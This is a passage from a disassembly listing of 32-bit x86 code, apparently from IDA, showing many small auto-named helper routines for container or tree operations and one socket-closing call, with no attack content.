		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	closesocket	; closesocket
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_13CBBD2:				; CODE XREF: sub_13CBA30+BBj
					; sub_13CBA30+D6j ...
		push	esi
		call	closesocket	; closesocket


loc_13CBBD9:				; CODE XREF: sub_13CBA30+5Ej
					; sub_13CBA30+67j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
sub_13CBA30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBC60	proc near		; CODE XREF: sub_13ABE00j
		xor	al, al
		retn
sub_13CBC60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBC80	proc near		; CODE XREF: sub_13AB60Dj

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13AB711
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13AB4E6
		pop	esi
		pop	ecx
		retn	4
sub_13CBC80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBCC0	proc near		; CODE XREF: sub_13ABCD9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_13ABD01
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_13CBCC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBD00	proc near		; CODE XREF: sub_13ABC16j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13ABD6F
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB8D8
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13ABD97
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_13ABD47
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_13CBD00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBD70	proc near		; CODE XREF: sub_13AB8D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13AC44F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13AC2BF
		mov	eax, esi
		pop	esi
		retn	4
sub_13CBD70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBDB0	proc near		; CODE XREF: sub_13ABD6Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AC2BF
		mov	eax, esi
		pop	esi
		retn	4
sub_13CBDB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBDE0	proc near		; CODE XREF: sub_13AC567j

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13ABD6F
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13ABCFC
		pop	esi
		pop	ecx
		retn	4
sub_13CBDE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBE20	proc near		; CODE XREF: sub_13ABB03j
		push	esi
		mov	esi, ecx
		call	sub_13ABDEC
		mov	eax, esi
		pop	esi
		retn
sub_13CBE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBE40	proc near		; CODE XREF: sub_13AB62Bj
		mov	eax, [ecx]
		push	eax
		call	sub_13AB4F5
		add	esp, 4
		retn
sub_13CBE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBE60	proc near		; CODE XREF: sub_13AB47Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13AC44F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13CBE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBE90	proc near		; CODE XREF: sub_13ABC02j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AC3FF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13CBE90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBEC0	proc near		; CODE XREF: sub_13ABAE0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_13AB612
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_13CBEC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBF00	proc near		; CODE XREF: sub_13AB653j

var_C		= byte ptr -0Ch

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB7ED
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_C]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13AB85B
		mov	eax, [eax]
		lea	ecx, [esp+1Ch+var_C]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13AB40F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_13AC5B7
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_13CBF00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBF70	proc near		; CODE XREF: sub_13AB85Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_13AB50E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_13AC175
		mov	eax, esi
		pop	esi
		retn	4
sub_13CBF70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBFB0	proc near		; CODE XREF: sub_13AB7EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13AC175
		mov	eax, esi
		pop	esi
		retn	4
sub_13CBFB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CBFE0	proc near		; CODE XREF: sub_13AB725j

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_13AB7ED
		mov	edx, [eax]
		lea	eax, [esp+10h+var_8]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13ABFAE
		pop	esi
		pop	ecx
		retn	4
sub_13CBFE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC020	proc near		; CODE XREF: sub_13ABF40j
		push	esi
		mov	esi, ecx
		call	sub_13AB5A9
		mov	eax, esi
		pop	esi
		retn
sub_13CC020	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC040	proc near		; CODE XREF: sub_13AB455j
		mov	eax, [ecx]
		push	eax
		call	sub_13AB48C
		add	esp, 4
		retn
sub_13CC040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC060	proc near		; CODE XREF: sub_13ABC2Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13AB50E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13CC060	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC090	proc near		; CODE XREF: sub_13AB6BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AC148
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13CC090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC0C0	proc near		; CODE XREF: sub_13AB4E6j

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_13AC2CE
		mov	edi, eax
		push	edi
		call	sub_13ABF1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_13AB79D
		push	edi
		mov	ebx, eax
		call	sub_13ABF1D
		push	edi
		mov	[eax], ebx
		call	sub_13ABF1D
		mov	edi, [eax]
		push	edi
		call	sub_13ABF1D
		mov	ecx, [eax]
		push	ecx
		call	sub_13AB9D2
		mov	edx, [esp+24h+arg_0]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_13AB572
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_13AC23D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+20h+var_C]
		mov	ecx, esi
		call	sub_13AC184
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_13CC0C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC160	proc near		; CODE XREF: sub_13ABCFCj

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_13AB4C8
		mov	edi, eax
		push	edi
		call	sub_13AC0F3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_13ABD01
		push	edi
		mov	ebx, eax
		call	sub_13AC0F3
		push	edi
		mov	[eax], ebx
		call	sub_13AC0F3
		mov	edi, [eax]
		push	edi
		call	sub_13AC0F3
		mov	ecx, [eax]
		push	ecx
		call	sub_13AC44F
		mov	edx, [esp+24h+arg_0]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_13AB4F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_13ABBE9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+20h+var_C]
		mov	ecx, esi
		call	sub_13AC2BF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_13CC160	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC200	proc near		; CODE XREF: sub_13ABD97j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_13ABC02
		test	al, al
		jz	short loc_13CC25A


loc_13CC218:				; CODE XREF: sub_13CC200+47j
		lea	ecx, [esp+10h+var_C]
		push	0
		push	ecx
		lea	ecx, [esp+18h+arg_0]
		call	sub_13AC4B8
		mov	edx, [eax]
		lea	eax, [esp+18h+var_10]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13ABE1E
		lea	ecx, [esp+20h+var_8]
		push	ecx
		lea	ecx, [esp+24h+var_C]
		call	sub_13ABC02
		test	al, al
		jnz	short loc_13CC218
		mov	eax, [esp+24h+var_14]
		mov	edx, [esp+24h+var_10]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13CC25A:				; CODE XREF: sub_13CC200+16j
		mov	eax, [esp+10h]
		mov	ecx, [esp+10h+arg_0]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_13CC200	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC290	proc near		; CODE XREF: sub_13ABD01j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	24h
		call	sub_13AC1F2
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_13CC2A5
		mov	edi, esi


loc_13CC2A5:				; CODE XREF: sub_13CC290+11j
		push	esi
		call	sub_13AC44F
		mov	[eax], edi
		mov	edi, [esp+10h+arg_0]
		add	esp, 4
		test	edi, edi
		jnz	short loc_13CC2BA
		mov	edi, esi


loc_13CC2BA:				; CODE XREF: sub_13CC290+26j
		push	esi
		call	sub_13AC0F3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_13CC290	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC2E0	proc near		; CODE XREF: sub_13ABD47j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13AB946
		retn	4
sub_13CC2E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC300	proc near		; CODE XREF: sub_13AC44Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_13CC300	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC320	proc near		; CODE XREF: sub_13AB4F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_13CC320	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC340	proc near		; CODE XREF: sub_13ABDECj
		mov	eax, ecx
		retn
sub_13CC340	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC360	proc near		; CODE XREF: sub_13AC2BFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB919
		mov	eax, esi
		pop	esi
		retn	4
sub_13CC360	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC390	proc near		; CODE XREF: sub_13AC3FFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13CC390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC3C0	proc near		; CODE XREF: sub_13ABFAEj

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_13ABCE8
		mov	edi, eax
		push	edi
		call	sub_13AB4EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_13AB612
		push	edi
		mov	ebx, eax
		call	sub_13AB4EB
		push	edi
		mov	[eax], ebx
		call	sub_13AB4EB
		mov	edi, [eax]
		push	edi
		call	sub_13AB4EB
		mov	ecx, [eax]
		push	ecx
		call	sub_13AB50E
		mov	edx, [esp+24h+arg_0]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_13AB48C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_13AB7DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+20h+var_C]
		mov	ecx, esi
		call	sub_13AC175
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_13CC3C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC460	proc near		; CODE XREF: sub_13AB40Fj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_13AB6BC
		test	al, al
		jz	short loc_13CC4BA


loc_13CC478:				; CODE XREF: sub_13CC460+47j
		lea	ecx, [esp+10h+var_C]
		push	0
		push	ecx
		lea	ecx, [esp+18h+arg_0]
		call	sub_13ABDAB
		mov	edx, [eax]
		lea	eax, [esp+18h+var_10]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13ABF7C
		lea	ecx, [esp+20h+var_8]
		push	ecx
		lea	ecx, [esp+24h+var_C]
		call	sub_13AB6BC
		test	al, al
		jnz	short loc_13CC478
		mov	eax, [esp+24h+var_14]
		mov	edx, [esp+24h+var_10]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13CC4BA:				; CODE XREF: sub_13CC460+16j
		mov	eax, [esp+10h]
		mov	ecx, [esp+10h+arg_0]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_13CC460	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC4F0	proc near		; CODE XREF: sub_13AB612j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	20h
		call	sub_13AC4BD
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_13CC505
		mov	edi, esi


loc_13CC505:				; CODE XREF: sub_13CC4F0+11j
		push	esi
		call	sub_13AB50E
		mov	[eax], edi
		mov	edi, [esp+10h+arg_0]
		add	esp, 4
		test	edi, edi
		jnz	short loc_13CC51A
		mov	edi, esi


loc_13CC51A:				; CODE XREF: sub_13CC4F0+26j
		push	esi
		call	sub_13AB4EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_13CC4F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC540	proc near		; CODE XREF: sub_13AC5B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_13ABCE3
		retn	4
sub_13CC540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC560	proc near		; CODE XREF: sub_13AB50Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_13CC560	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC580	proc near		; CODE XREF: sub_13AB48Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_13CC580	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC5A0	proc near		; CODE XREF: sub_13AB5A9j
		mov	eax, ecx
		retn
sub_13CC5A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC5C0	proc near		; CODE XREF: sub_13AC175j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13ABCED
		mov	eax, esi
		pop	esi
		retn	4
sub_13CC5C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC5F0	proc near		; CODE XREF: sub_13AC148j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13CC5F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC620	proc near		; CODE XREF: sub_13AC23Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13ABE2D
		add	esp, 8
		retn	8
sub_13CC620	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC650	proc near		; CODE XREF: sub_13ABE1Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_13AC4B8
		mov	ecx, eax
		call	sub_13AB4C8
		mov	esi, eax
		push	esi
		call	sub_13AC44F
		push	esi
		mov	ebx, eax
		call	sub_13AC0F3
		mov	ecx, [eax]
		push	ecx
		call	sub_13AC44F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_13AC0F3
		push	esi
		mov	ebx, eax
		call	sub_13AC44F
		mov	eax, [eax]
		push	eax
		call	sub_13AC0F3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_13AB4F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_13ABA31
		push	esi
		mov	ecx, edi
		call	sub_13ABD47
		mov	eax, [edi+8]
		mov	edx, [esp+20h+var_8]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+20h+var_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_13CC650	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC710	proc near		; CODE XREF: sub_13AC0F3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_13CC710	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC730	proc near		; CODE XREF: sub_13AC1F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC116
		add	esp, 8
		retn	4
sub_13CC730	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC760	proc near		; CODE XREF: sub_13AB946j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13CC760	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC780	proc near		; CODE XREF: sub_13ABBE9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AC41D
		add	esp, 8
		retn	8
sub_13CC780	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC7B0	proc near		; CODE XREF: sub_13AB919j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_13CC7B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC7D0	proc near		; CODE XREF: sub_13AB4C8j
		mov	eax, [ecx]
		retn
sub_13CC7D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC7F0	proc near		; CODE XREF: sub_13AC4B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_13AB47D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_13CC7F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC820	proc near		; CODE XREF: sub_13ABF7Cj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_13ABDAB
		mov	ecx, eax
		call	sub_13ABCE8
		mov	esi, eax
		push	esi
		call	sub_13AB50E
		push	esi
		mov	ebx, eax
		call	sub_13AB4EB
		mov	ecx, [eax]
		push	ecx
		call	sub_13AB50E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_13AB4EB
		push	esi
		mov	ebx, eax
		call	sub_13AB50E
		mov	eax, [eax]
		push	eax
		call	sub_13AB4EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_13AB48C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_13AC260
		push	esi
		mov	ecx, edi
		call	sub_13AC5B7
		mov	eax, [edi+8]
		mov	edx, [esp+20h+var_8]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+20h+var_C]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_13CC820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC8E0	proc near		; CODE XREF: sub_13AB4EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_13CC8E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC900	proc near		; CODE XREF: sub_13AC4BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC116
		add	esp, 8
		retn	4
sub_13CC900	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



